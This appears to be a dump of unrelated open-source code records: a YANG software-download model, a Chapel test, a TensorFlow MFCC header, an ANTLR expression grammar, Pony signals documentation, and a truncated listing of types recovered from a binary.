}
leaf activation-date-time {
type yang:date-and-time;
description
"activation date and time: The date load was activated";
}
}
rpc sw-stage {
description
"SW stage - copies the SW from repo to staging bank";
input {
leaf filename {
type string {
length "10..255";
}
description
"file name which has the load";
}
}
output {
uses org-openroadm-common-types:rpc-response-status;
}
}
rpc sw-activate {
description
"Activate new load";
input {
leaf version {
type string;
description
" software version of the new load which is being activated";
}
leaf validationTimer {
type string;
description
"validation timer hh-mm-ss";
}
}
output {
uses org-openroadm-common-types:rpc-response-status;
}
}
rpc cancel-validation-timer {
description
"Cancel validation timer which user provisioned as part of activate command";
input {
leaf accept {
type boolean;
default "true";
description
" TRUE means validation timer is cancelled and new load is accepted";
}
}
output {
uses org-openroadm-common-types:rpc-response-status;
}
}
}
| YANG | 5 | meodaiduoi/onos | models/openroadm/src/main/yang/org-openroadm-swdl@2016-10-14.yang | [
"Apache-2.0"
] |
iter myIter() {
writeln("start myIter");
yield [1, 2, 3];
yield [4, 5, 6];
writeln("finish myIter");
}
var r = + reduce [idx in myIter()] idx;
writeln(r);
| Chapel | 4 | jhh67/chapel | test/reductions/vass/extra-iter-call.chpl | [
"ECL-2.0",
"Apache-2.0"
] |
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
// Basic class for applying a mel-scale mapping to a power spectrum.
#ifndef TENSORFLOW_CORE_KERNELS_MFCC_MEL_FILTERBANK_H_
#define TENSORFLOW_CORE_KERNELS_MFCC_MEL_FILTERBANK_H_
#include <vector>
#include "tensorflow/core/framework/op_kernel.h"
namespace tensorflow {
class MfccMelFilterbank {
public:
MfccMelFilterbank();
bool Initialize(int input_length, // Number of unique FFT bins fftsize/2+1.
double input_sample_rate, int output_channel_count,
double lower_frequency_limit, double upper_frequency_limit);
// Takes a squared-magnitude spectrogram slice as input, computes a
// triangular-mel-weighted linear-magnitude filterbank, and places the result
// in output.
void Compute(const std::vector<double>& input,
std::vector<double>* output) const;
private:
double FreqToMel(double freq) const;
bool initialized_;
int num_channels_;
double sample_rate_;
int input_length_;
std::vector<double> center_frequencies_; // In mel, for each mel channel.
// Each FFT bin b contributes to two triangular mel channels, with
// proportion weights_[b] going into mel channel band_mapper_[b], and
// proportion (1 - weights_[b]) going into channel band_mapper_[b] + 1.
// Thus, weights_ contains the weighting applied to each FFT bin for the
// upper-half of the triangular band.
std::vector<double> weights_; // Right-side weight for this fft bin.
// FFT bin i contributes to the upper side of mel channel band_mapper_[i]
std::vector<int> band_mapper_;
int start_index_; // Lowest FFT bin used to calculate mel spectrum.
int end_index_; // Highest FFT bin used to calculate mel spectrum.
TF_DISALLOW_COPY_AND_ASSIGN(MfccMelFilterbank);
};
} // namespace tensorflow
#endif // TENSORFLOW_CORE_KERNELS_MFCC_MEL_FILTERBANK_H_
| C | 4 | abhaikollara/tensorflow | tensorflow/core/kernels/mfcc_mel_filterbank.h | [
"Apache-2.0"
] |
// eql.g4
grammar Eql;
// Tokens
EQ: '==';
NEQ: '!=';
GT: '>';
LT: '<';
GTE: '>=';
LTE: '<=';
ADD: '+';
SUB: '-';
MUL: '*';
DIV: '/';
MOD: '%';
AND: 'and' | 'AND';
OR: 'or' | 'OR';
TRUE: 'true' | 'TRUE';
FALSE: 'false' | 'FALSE';
FLOAT: [\-]? [0-9]+ '.' [0-9]+;
NUMBER: [\-]? [0-9]+;
WHITESPACE: [ \r\n\t]+ -> skip;
NOT: 'NOT' | 'not';
NAME: [a-zA-Z_] [a-zA-Z0-9_]*;
VNAME: [a-zA-Z0-9_.]+('.'[a-zA-Z0-9_]+)*;
STEXT: '\'' ~[\r\n']* '\'';
DTEXT: '"' ~[\r\n"]* '"';
LPAR: '(';
RPAR: ')';
LARR: '[';
RARR: ']';
LDICT: '{';
RDICT: '}';
BEGIN_VARIABLE: '${';
expList: exp EOF;
boolean
: TRUE | FALSE
;
constant
: STEXT
| DTEXT
| FLOAT
| NUMBER
| boolean
;
variable
: NAME
| VNAME
| constant
;
variableExp
: variable( '|' variable)*
;
exp
: LPAR exp RPAR # ExpInParen
| left=exp (MUL | DIV | MOD) right=exp # ExpArithmeticMulDivMod
| left=exp (ADD | SUB) right=exp # ExpArithmeticAddSub
| NOT exp # ExpNot
| left=exp EQ right=exp # ExpArithmeticEQ
| left=exp NEQ right=exp # ExpArithmeticNEQ
| left=exp LTE right=exp # ExpArithmeticLTE
| left=exp GTE right=exp # ExpArithmeticGTE
| left=exp LT right=exp # ExpArithmeticLT
| left=exp GT right=exp # ExpArithmeticGT
| left=exp AND right=exp # ExpLogicalAnd
| left=exp OR right=exp # ExpLogicalOR
| boolean # ExpBoolean
| BEGIN_VARIABLE variableExp RDICT # ExpVariable
| NAME LPAR arguments? RPAR # ExpFunction
| LARR array? RARR # ExpArray
| LDICT dict? RDICT # ExpDict
| (STEXT | DTEXT) # ExpText
| FLOAT # ExpFloat
| NUMBER # ExpNumber
;
arguments
: exp( ',' exp)*
;
array
: constant( ',' constant)*
;
key
: (NAME | STEXT | DTEXT) ':' constant
;
dict
: key( ',' key)*
;
| ANTLR | 4 | tetianakravchenko/beats | x-pack/elastic-agent/pkg/eql/Eql.g4 | [
"ECL-2.0",
"Apache-2.0"
] |
"""
# Signals package
The Signals package provides support for handling Unix style signals.
For each signal that you want to handle, you need to create a `SignalHandler`
and a corresponding `SignalNotify` object. Each SignalHandler runs as it own
actor and upon receiving the signal will call its corresponding
`SignalNotify`'s apply method.
## Example program
The following program will listen for the TERM signal and output a message to
standard out if it is received.
```pony
use "signals"
actor Main
new create(env: Env) =>
// Create a TERM handler
let signal = SignalHandler(TermHandler(env), Sig.term())
// Raise TERM signal
signal.raise()
class TermHandler is SignalNotify
let _env: Env
new iso create(env: Env) =>
_env = env
fun ref apply(count: U32): Bool =>
_env.out.print("TERM signal received")
true
```
## Signal portability
The `Sig` primitive provides support for portable signal handling across Linux,
FreeBSD and OSX. Signals are not supported on Windows and attempting to use
them will cause a compilation error.
## Shutting down handlers
Unlike a `TCPConnection` and other forms of input receiving, creating a
`SignalHandler` will not keep your program running. As such, you are not
required to call `dispose` on your signal handlers in order to shutdown your
program.
"""
| Pony | 5 | rtpax/ponyc | packages/signals/signals.pony | [
"BSD-2-Clause"
] |
0 code_t "proc*"
1 reg32_t "dword"
2 ptr(struct(0:ptr(struct(0:reg32_t,4:reg32_t,8:ptr(struct(0:reg32_t,4:reg32_t,8:ptr(TOP),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))),4:ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:array(reg8_t,80),108:reg32_t),140:reg32_t,144:reg32_t,148:reg32_t,152:reg32_t,156:reg32_t,160:reg32_t,164:reg32_t,168:reg32_t,172:reg32_t,176:reg32_t,180:reg32_t,184:reg32_t,188:reg32_t,192:reg32_t,196:reg32_t,200:reg32_t,204:array(reg8_t,512))))) "_EXCEPTION_POINTERS*"
3 ptr(struct(0:array(reg8_t,60),60:num32_t)) "StructFrag_200*"
4 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t)) "_EH4_SCOPETABLE*"
5 ptr(array(reg8_t,35)) "unknown_280*"
6 ptr(struct(0:array(reg8_t,60),60:reg32_t)) "StructFrag_99*"
7 ptr(TOP) "void*"
0 code_t "(_Inout_ _EXCEPTION_POINTERS* -ms-> LONG)*"
8 uint32_t "UINT"
1 reg32_t "HANDLE"
9 num32_t "LONG"
10 ptr(num32_t) "LPLONG"
11 ptr(array(reg8_t,288)) "unknown_2304*"
12 ptr(array(reg8_t,1040)) "unknown_8320*"
13 ptr(array(reg8_t,260)) "unknown_2080*"
14 ptr(array(reg8_t,520)) "unknown_4160*"
15 ptr(code_t) "proc**"
16 ptr(ptr(num8_t)) "char**"
17 ptr(ptr(reg32_t)) "dword**"
9 num32_t "int"
8 uint32_t "unsigned int"
18 ptr(array(reg8_t,10)) "unknown_80*"
19 ptr(reg32_t) "dword*"
20 float64_t "double"
21 num64_t "long long"
8 uint32_t "size_t"
0 code_t "(void -> int)*"
22 ptr(uint32_t) "unsigned int*"
23 ptr(uint16_t) "wchar_t*"
24 ptr(struct(0:reg32_t,4:ptr(TOP),8:reg32_t)) "_SECURITY_ATTRIBUTES*"
25 ptr(struct(0:reg32_t,4:reg32_t)) "_FILETIME*"
26 ptr(union(num64_t,struct(0:reg32_t,4:num32_t))) "Union_2*"
27 ptr(num8_t) "char*"
28 ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))) "FILE*"
29 num8_t "char"
30 union(ptr(num8_t),ptr(struct(0:num8_t,8:ptr(num8_t)))) "Union_1"
31 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:array(reg8_t,64),64:num8_t))) "Union_0"
32 ptr(struct(0:ptr(struct(0:reg32_t,4:num8_t)),4:reg32_t)) "Struct_17*"
33 ptr(struct(0:ptr(reg32_t),4:reg32_t,8:reg32_t,16:ptr(TOP))) "Struct_16*"
34 union(ptr(reg32_t),ptr(struct(0:reg32_t,4:ptr(num8_t)))) "Union_8"
35 ptr(struct(0:array(reg8_t,64),64:num8_t)) "StructFrag_12*"
36 union(ptr(num8_t),ptr(struct(0:reg16_t,2:num8_t))) "Union_5"
19 ptr(reg32_t) "dword[]"
37 ptr(struct(0:array(reg8_t,24980),24980:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))))) "StructFrag_25*"
0 code_t "(void -> void)*"
38 ptr(ptr(ptr(num8_t))) "char***"
39 union(ptr(num8_t),uint32_t) "Union_15"
40 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(num8_t)) "Union_16"
0 code_t "(void -> FILE*)*"
41 ptr(struct(0:ptr(struct(0:array(reg8_t,12),12:ptr(num8_t))),4:ptr(struct(0:array(reg8_t,12),12:ptr(num8_t))),12:ptr(struct(0:array(reg8_t,12),12:ptr(num8_t))))) "Struct_201*"
41 ptr(struct(0:ptr(struct(0:array(reg8_t,12),12:ptr(num8_t))),4:ptr(struct(0:array(reg8_t,12),12:ptr(num8_t))),12:ptr(struct(0:array(reg8_t,12),12:ptr(num8_t))))) "Struct_202*"
42 ptr(array(reg8_t,16)) "unknown_128*"
43 ptr(ptr(TOP)) "void**"
44 ptr(array(reg8_t,76)) "unknown_608*"
45 ptr(struct(0:union(ptr(num8_t),ptr(struct(0:num8_t,8:ptr(num8_t)))),4:union(ptr(num8_t),struct(0:num8_t,8:ptr(num8_t)),struct(0:reg32_t,4:ptr(num8_t))),16:union(ptr(reg32_t),ptr(struct(0:reg32_t,4:ptr(num8_t)))))) "Struct_203*"
46 union(code_t,ptr(ptr(TOP)),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),uint32_t,ptr(num8_t),uint32_t,ptr(struct(0:array(reg8_t,64),64:num8_t)),ptr(struct(0:reg64_t,8:reg32_t))) "Union_10"
47 union(num32_t,ptr(struct(0:reg32_t,12:code_t,16:code_t))) "Union_11"
48 ptr(struct(0:reg32_t,12:code_t,16:code_t)) "Struct_3*"
27 ptr(num8_t) "char[]"
40 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(num8_t)) "Union_12"
49 ptr(struct(0:ptr(reg32_t),4:struct(8:reg32_t),12:reg32_t,16:union(ptr(reg32_t),ptr(struct(0:reg32_t,4:ptr(num8_t)))))) "Struct_204*"
10 ptr(num32_t) "int[]"
50 array(reg8_t,39) "unknown_312"
51 ptr(struct(0:ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(num8_t))),4:ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(num8_t))),12:ptr(struct(0:array(reg8_t,12),12:ptr(num8_t))))) "Struct_476*"
52 union(ptr(num8_t),ptr(struct(0:num8_t,8:ptr(num8_t))),ptr(struct(0:num8_t,4:reg32_t,8:ptr(num8_t)))) "Union_3"
53 ptr(struct(0:num8_t,4:reg32_t,8:ptr(num8_t))) "Struct_200*"
54 union(ptr(num8_t),ptr(struct(0:num8_t,4:reg32_t,8:ptr(num8_t)))) "Union_4"
22 ptr(uint32_t) "size_t*"
55 reg16_t "word"
56 array(reg8_t,20) "unknown_160"
57 ptr(array(reg8_t,320)) "unknown_2560*"
58 ptr(struct(0:array(reg8_t,24),24:ptr(TOP))) "StructFrag_18*"
59 ptr(struct(0:array(reg8_t,24),24:ptr(struct(0:reg64_t,8:ptr(struct(0:array(reg8_t,256),256:reg32_t)))))) "StructFrag_110*"
60 ptr(struct(0:array(reg8_t,35892),35892:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))))) "StructFrag_26*"
61 ptr(struct(220:code_t,264:ptr(struct(0:array(reg8_t,35892),35892:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))))))) "Struct_31*"
62 ptr(reg16_t) "word[]"
63 ptr(struct(16:ptr(TOP),20:uint32_t,24:ptr(TOP),28:reg32_t,32:ptr(TOP))) "Struct_220*"
64 array(reg8_t,12) "unknown_96"
65 array(reg8_t,28) "unknown_224"
66 ptr(ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:code_t))) "Struct_148**"
67 ptr(struct(4:ptr(struct(0:array(reg8_t,12),12:code_t)),24:ptr(struct(0:reg64_t,8:ptr(reg32_t))))) "Struct_248*"
67 ptr(struct(4:ptr(struct(0:array(reg8_t,12),12:code_t)),24:ptr(struct(0:reg64_t,8:ptr(reg32_t))))) "Struct_251*"
68 ptr(struct(0:array(reg8_t,16),16:ptr(struct(0:reg32_t,8:ptr(TOP))))) "StructFrag_112*"
69 ptr(struct(0:array(reg8_t,264),264:reg32_t)) "StructFrag_72*"
17 ptr(ptr(reg32_t)) "dword[]*"
70 ptr(struct(0:reg64_t,8:num32_t)) "StructFrag_117*"
71 ptr(struct(12:reg32_t,24:ptr(struct(0:array(reg8_t,12),12:reg32_t)))) "Struct_261*"
72 ptr(struct(0:reg32_t,4:ptr(struct(0:array(reg8_t,16),16:code_t)),24:ptr(TOP))) "Struct_264*"
73 ptr(struct(4:ptr(struct(0:array(reg8_t,20),20:ptr(struct(0:reg32_t,4:code_t)))),8:reg32_t,24:ptr(TOP))) "Struct_266*"
74 ptr(struct(0:reg32_t,4:ptr(struct(0:reg32_t,12:code_t,16:code_t)),12:reg32_t,16:reg32_t,20:reg32_t,24:ptr(struct(4:ptr(struct(0:reg32_t,12:code_t,16:code_t)),12:reg32_t)))) "Struct_262*"
75 ptr(struct(0:array(reg8_t,32),32:code_t)) "StructFrag_73*"
76 ptr(struct(4:ptr(struct(0:array(reg8_t,36),36:code_t)),8:reg32_t,24:ptr(TOP))) "Struct_267*"
77 ptr(struct(4:ptr(struct(0:array(reg8_t,40),40:code_t)),8:reg32_t,24:ptr(TOP))) "Struct_268*"
78 ptr(struct(4:ptr(struct(0:array(reg8_t,44),44:code_t)),24:ptr(TOP))) "Struct_269*"
79 ptr(struct(8:reg32_t,24:ptr(reg32_t))) "Struct_153*"
80 ptr(struct(4:ptr(struct(0:array(reg8_t,24),24:code_t)),8:reg32_t)) "Struct_272*"
81 ptr(struct(4:ptr(struct(0:array(reg8_t,28),28:code_t)),8:reg32_t)) "Struct_273*"
82 ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))) "StructFrag_23*"
83 ptr(struct(5156:ptr(struct(0:array(reg8_t,32),32:num8_t)),5368:num8_t,5379:num8_t,5389:num8_t)) "Struct_137*"
84 ptr(struct(0:array(reg8_t,25360),25360:ptr(reg32_t))) "StructFrag_123*"
85 union(ptr(num8_t),ptr(struct(0:num8_t,4294967292:ptr(TOP)))) "Union_20"
86 ptr(struct(0:array(reg8_t,59568),59568:num8_t)) "StructFrag_69*"
87 ptr(struct(0:array(reg8_t,70480),70480:num8_t)) "StructFrag_71*"
88 union(ptr(reg32_t),ptr(struct(0:array(reg8_t,24980),24980:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP)))))) "Union_19"
89 ptr(struct(0:array(reg8_t,16),16:reg32_t)) "StructFrag_32*"
90 ptr(struct(0:array(reg8_t,68),68:ptr(TOP))) "StructFrag_77*"
91 ptr(struct(0:num32_t,4:reg32_t,8:num32_t,12:num32_t,16:num32_t,20:num32_t,24:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,56:reg32_t,60:reg32_t,68:ptr(TOP),72:reg32_t,76:reg32_t)) "Struct_274*"
92 union(ptr(num32_t),ptr(struct(0:num32_t,4:reg32_t,8:num32_t,12:num32_t,16:num32_t,20:num32_t,24:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,56:reg32_t,60:reg32_t,68:ptr(TOP),72:reg32_t,76:reg32_t))) "Union_18"
93 int32_t "signed int"
94 ptr(struct(0:array(reg8_t,36),36:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))))) "StructFrag_24*"
95 ptr(struct(0:array(reg8_t,25508),25508:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))))) "StructFrag_131*"
96 ptr(struct(12736:num32_t,12740:num32_t,12744:num32_t,12748:num32_t,12760:ptr(TOP),12772:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),12776:num32_t)) "Struct_295*"
97 ptr(struct(0:num32_t,4:num32_t,8:num32_t,12:num32_t,24:ptr(TOP),36:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40:num32_t)) "Struct_298*"
98 union(ptr(reg32_t),ptr(struct(0:array(reg8_t,16),16:num8_t))) "Union_21"
99 ptr(struct(12464:reg32_t,12468:reg32_t,12820:reg32_t,12824:reg32_t,12828:reg32_t,12832:reg32_t,12836:reg32_t,23192:reg32_t,23196:reg32_t,23204:reg32_t,23208:reg32_t,23212:reg32_t,23216:reg32_t,25374:reg16_t,25376:num8_t,26532:reg32_t,26552:ptr(array(reg8_t,51)),26556:ptr(array(reg8_t,1008)),26560:ptr(array(reg8_t,60)),26564:ptr(array(reg8_t,50)),26568:ptr(array(reg8_t,544)),26572:ptr(array(reg8_t,343)),26576:ptr(array(reg8_t,97)),26580:ptr(array(reg8_t,57)),26584:ptr(array(reg8_t,95)),26588:ptr(array(reg8_t,116)),26592:ptr(array(reg8_t,168)),26596:ptr(array(reg8_t,352)),26600:ptr(array(reg8_t,240)),26608:ptr(array(reg8_t,160)),26612:ptr(array(reg8_t,169)),26616:ptr(array(reg8_t,238)),26620:ptr(array(reg8_t,125)),26624:ptr(array(reg8_t,93)),26628:ptr(array(reg8_t,77)),26632:ptr(array(reg8_t,117)),26640:ptr(array(reg8_t,120)),26644:ptr(array(reg8_t,48)),26648:ptr(array(reg8_t,96)),26660:ptr(array(reg8_t,130)),26664:ptr(array(reg8_t,80)),26668:ptr(array(reg8_t,65)),26672:ptr(array(reg8_t,24)))) "Struct_451*"
100 ptr(struct(0:reg32_t,8:ptr(TOP))) "Struct_212*"
101 ptr(struct(16:ptr(TOP),20:uint32_t,24:ptr(TOP),32:ptr(TOP))) "Struct_59*"
102 union(ptr(reg32_t),ptr(reg16_t),ptr(struct(0:array(reg8_t,23752),23752:reg32_t))) "Union_24"
103 array(reg8_t,64) "unknown_512"
104 ptr(struct(0:array(reg8_t,10344),10344:reg32_t)) "StructFrag_142*"
105 ptr(struct(0:array(reg8_t,70840),70840:reg32_t)) "StructFrag_143*"
106 ptr(struct(0:reg32_t,4:ptr(struct(0:array(reg8_t,36188),36188:reg32_t)),8:ptr(TOP))) "Struct_342*"
107 ptr(struct(0:reg32_t,12628:num32_t,12636:num32_t,12640:reg32_t,12648:reg32_t,12652:reg32_t,12656:reg32_t,12660:reg32_t,12828:reg32_t,23152:code_t,23156:code_t,23160:code_t,23164:code_t,23176:reg32_t,26628:code_t,26632:code_t,26636:code_t,26640:code_t,26644:code_t,26648:code_t,26652:code_t,26656:code_t)) "Struct_330*"
108 ptr(struct(5156:ptr(struct(0:reg64_t,8:reg32_t)),5379:num8_t,5380:num8_t,5381:num8_t,5382:num8_t,5389:num8_t)) "Struct_331*"
109 ptr(struct(40596:ptr(struct(0:reg64_t,8:reg32_t)),40819:num8_t,40820:num8_t,40821:num8_t,40822:num8_t,40829:num8_t)) "Struct_333*"
110 ptr(struct(0:array(reg8_t,10928),10928:num8_t)) "StructFrag_29*"
111 ptr(array(reg8_t,32)) "unknown_256*"
112 ptr(array(reg8_t,48)) "unknown_384*"
113 ptr(struct(35404:reg32_t,35408:reg32_t,40896:reg32_t,40904:reg32_t,40908:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40912:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40916:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40920:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40924:reg32_t)) "Struct_312*"
114 ptr(struct(35400:reg32_t,40900:reg32_t)) "Struct_470*"
115 ptr(struct(0:array(reg8_t,256),256:num8_t)) "StructFrag_169*"
116 ptr(struct(0:array(reg8_t,192),192:num8_t)) "StructFrag_168*"
117 union(ptr(reg32_t),ptr(struct(0:array(reg8_t,24980),24980:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))))),ptr(struct(12680:ptr(reg32_t),12888:ptr(struct(0:array(reg8_t,32),32:num8_t)),23152:code_t,23156:reg32_t,23160:reg32_t,23164:reg32_t,26628:code_t,26632:reg32_t,26636:reg32_t,26640:reg32_t,26644:code_t,26648:reg32_t,26652:reg32_t,26656:reg32_t)),ptr(struct(0:reg32_t,12628:num32_t,12636:num32_t,12640:reg32_t,12648:reg32_t,12652:reg32_t,12656:reg32_t,12660:reg32_t,12828:reg32_t,23152:code_t,23156:code_t,23160:code_t,23164:code_t,23176:reg32_t,26628:code_t,26632:code_t,26636:code_t,26640:code_t,26644:code_t,26648:code_t,26652:code_t,26656:code_t)),ptr(struct(12680:ptr(num32_t),12888:reg32_t,23152:code_t,23156:reg32_t,23160:reg32_t,23164:reg32_t,26628:code_t,26632:reg32_t,26636:reg32_t,26640:reg32_t,26644:code_t,26648:reg32_t,26652:reg32_t,26656:reg32_t))) "Union_28"
118 ptr(struct(5156:ptr(num32_t),5389:num8_t,5390:num8_t,5391:num8_t,5392:num8_t)) "Struct_337*"
10 ptr(num32_t) "int*"
119 ptr(struct(12680:ptr(reg32_t),12888:ptr(struct(0:array(reg8_t,32),32:num8_t)),23152:code_t,23156:reg32_t,23160:reg32_t,23164:reg32_t,26628:code_t,26632:reg32_t,26636:reg32_t,26640:reg32_t,26644:code_t,26648:reg32_t,26652:reg32_t,26656:reg32_t)) "Struct_134*"
120 ptr(struct(12680:ptr(num32_t),12888:reg32_t,23152:code_t,23156:reg32_t,23160:reg32_t,23164:reg32_t,26628:code_t,26632:reg32_t,26636:reg32_t,26640:reg32_t,26644:code_t,26648:reg32_t,26652:reg32_t,26656:reg32_t)) "Struct_170*"
121 ptr(struct(5156:ptr(struct(0:array(reg8_t,32),32:num8_t)),5368:num8_t,5379:num8_t)) "Struct_172*"
122 ptr(struct(12808:num32_t,12812:num32_t,12876:ptr(num8_t),12880:reg32_t,12888:ptr(struct(0:reg64_t,8:reg32_t)))) "Struct_339*"
123 ptr(struct(0:array(reg8_t,5412),5412:ptr(num8_t))) "StructFrag_65*"
124 ptr(struct(0:reg32_t,8:reg32_t,16:ptr(TOP),20:uint32_t,28:ptr(num8_t),36:reg32_t)) "Struct_171*"
125 ptr(struct(0:array(reg8_t,24),24:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))))) "StructFrag_63*"
126 ptr(array(reg8_t,56)) "unknown_448*"
127 ptr(struct(4536:ptr(TOP),4544:reg32_t,4568:num8_t,4570:reg16_t)) "Struct_88*"
128 ptr(struct(0:array(reg8_t,9096),9096:ptr(TOP))) "StructFrag_53*"
129 union(ptr(struct(0:array(reg8_t,16),16:code_t)),ptr(struct(0:array(reg8_t,12),12:code_t))) "Union_35"
130 ptr(struct(0:ptr(reg32_t),4:reg32_t,12:reg32_t)) "Struct_357*"
62 ptr(reg16_t) "word*"
131 ptr(struct(4992:ptr(reg32_t),4996:reg32_t,5004:reg32_t)) "Struct_361*"
132 ptr(struct(0:array(reg8_t,9984),9984:ptr(reg32_t))) "StructFrag_47*"
133 ptr(struct(0:array(reg8_t,23752),23752:reg32_t)) "StructFrag_34*"
134 union(ptr(num8_t),ptr(reg32_t),ptr(reg16_t),ptr(struct(0:array(reg8_t,23752),23752:reg32_t))) "Union_30"
135 ptr(struct(0:reg32_t,8:reg32_t,16:ptr(num8_t),20:uint32_t,28:ptr(num8_t),36:reg32_t)) "Struct_306*"
136 union(ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,28:ptr(num8_t))),ptr(struct(16:ptr(TOP),20:uint32_t,24:ptr(TOP),32:ptr(TOP))),ptr(struct(0:array(reg8_t,24),24:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP)))))) "Union_22"
137 array(reg8_t,3) "unknown_24"
138 ptr(array(reg8_t,1056)) "unknown_8448*"
139 ptr(struct(0:uint32_t,8:reg32_t,12:uint32_t)) "Struct_290*"
43 ptr(ptr(TOP)) "void*[]"
140 ptr(struct(0:reg64_t,8:code_t)) "StructFrag_66*"
141 union(ptr(code_t),ptr(struct(0:reg64_t,8:code_t))) "Union_27"
142 ptr(struct(0:array(reg8_t,56),56:reg32_t)) "StructFrag_68*"
143 ptr(struct(26660:code_t,26668:code_t)) "Struct_326*"
144 ptr(struct(5444:reg32_t,41292:ptr(array(reg8_t,64)),41296:ptr(array(reg8_t,361)),41300:ptr(array(reg8_t,376)),41304:ptr(array(reg8_t,47)),41308:ptr(array(reg8_t,32)),41312:ptr(array(reg8_t,37)))) "Struct_37*"
145 ptr(struct(0:reg32_t,8:uint32_t,20:uint32_t,24:ptr(num8_t),28:ptr(num8_t),32:ptr(num8_t),40:uint32_t)) "Struct_173*"
146 ptr(struct(0:num32_t,4:num32_t,8:uint32_t,24:ptr(num8_t),40:uint32_t)) "Struct_365*"
147 ptr(struct(8:reg32_t,24:ptr(TOP),28:ptr(TOP),32:ptr(TOP))) "Struct_175*"
148 ptr(struct(0:uint32_t,8:reg32_t,12:uint32_t,24:ptr(TOP),28:ptr(TOP),32:ptr(TOP))) "Struct_174*"
149 ptr(struct(8:uint32_t,24:ptr(num8_t),40:uint32_t)) "Struct_178*"
150 ptr(struct(0:uint32_t,8:reg32_t,24:ptr(TOP))) "Struct_177*"
151 ptr(struct(0:reg16_t,2:num8_t)) "StructFrag_14*"
152 ptr(struct(0:reg32_t,8:uint32_t,12:uint32_t,20:uint32_t)) "Struct_180*"
153 ptr(struct(0:uint32_t,12:uint32_t,24:ptr(TOP),28:ptr(TOP),32:ptr(TOP))) "Struct_183*"
154 union(ptr(struct(0:reg64_t,8:reg32_t)),ptr(num32_t)) "Union_31"
155 ptr(struct(0:num32_t,4:num32_t,8:num32_t,12:num32_t,16:int32_t,20:num32_t,24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40:num32_t,44:uint32_t)) "Struct_302*"
156 ptr(struct(4:reg32_t,24:ptr(TOP),28:ptr(TOP),32:ptr(TOP))) "Struct_184*"
157 ptr(array(reg8_t,20)) "unknown_160*"
158 ptr(reg64_t) "qword*"
159 ptr(array(reg8_t,846532)) "unknown_6772256*"
160 reg64_t "qword"
161 ptr(array(reg8_t,96)) "unknown_768*"
162 ptr(array(reg8_t,40)) "unknown_320*"
163 ptr(array(reg8_t,24)) "unknown_192*"
164 ptr(array(reg8_t,4608)) "unknown_36864*"
165 ptr(array(reg8_t,128)) "unknown_1024*"
166 union(ptr(num8_t),ptr(struct(12464:reg32_t,12468:reg32_t,12820:reg32_t,12824:reg32_t,12828:reg32_t,12832:reg32_t,12836:reg32_t,23192:reg32_t,23196:reg32_t,23204:reg32_t,23208:reg32_t,23212:reg32_t,23216:reg32_t,25374:reg16_t,25376:num8_t,26532:reg32_t,26552:ptr(array(reg8_t,51)),26556:ptr(array(reg8_t,1008)),26560:ptr(array(reg8_t,60)),26564:ptr(array(reg8_t,50)),26568:ptr(array(reg8_t,544)),26572:ptr(array(reg8_t,343)),26576:ptr(array(reg8_t,97)),26580:ptr(array(reg8_t,57)),26584:ptr(array(reg8_t,95)),26588:ptr(array(reg8_t,116)),26592:ptr(array(reg8_t,168)),26596:ptr(array(reg8_t,352)),26600:ptr(array(reg8_t,240)),26608:ptr(array(reg8_t,160)),26612:ptr(array(reg8_t,169)),26616:ptr(array(reg8_t,238)),26620:ptr(array(reg8_t,125)),26624:ptr(array(reg8_t,93)),26628:ptr(array(reg8_t,77)),26632:ptr(array(reg8_t,117)),26640:ptr(array(reg8_t,120)),26644:ptr(array(reg8_t,48)),26648:ptr(array(reg8_t,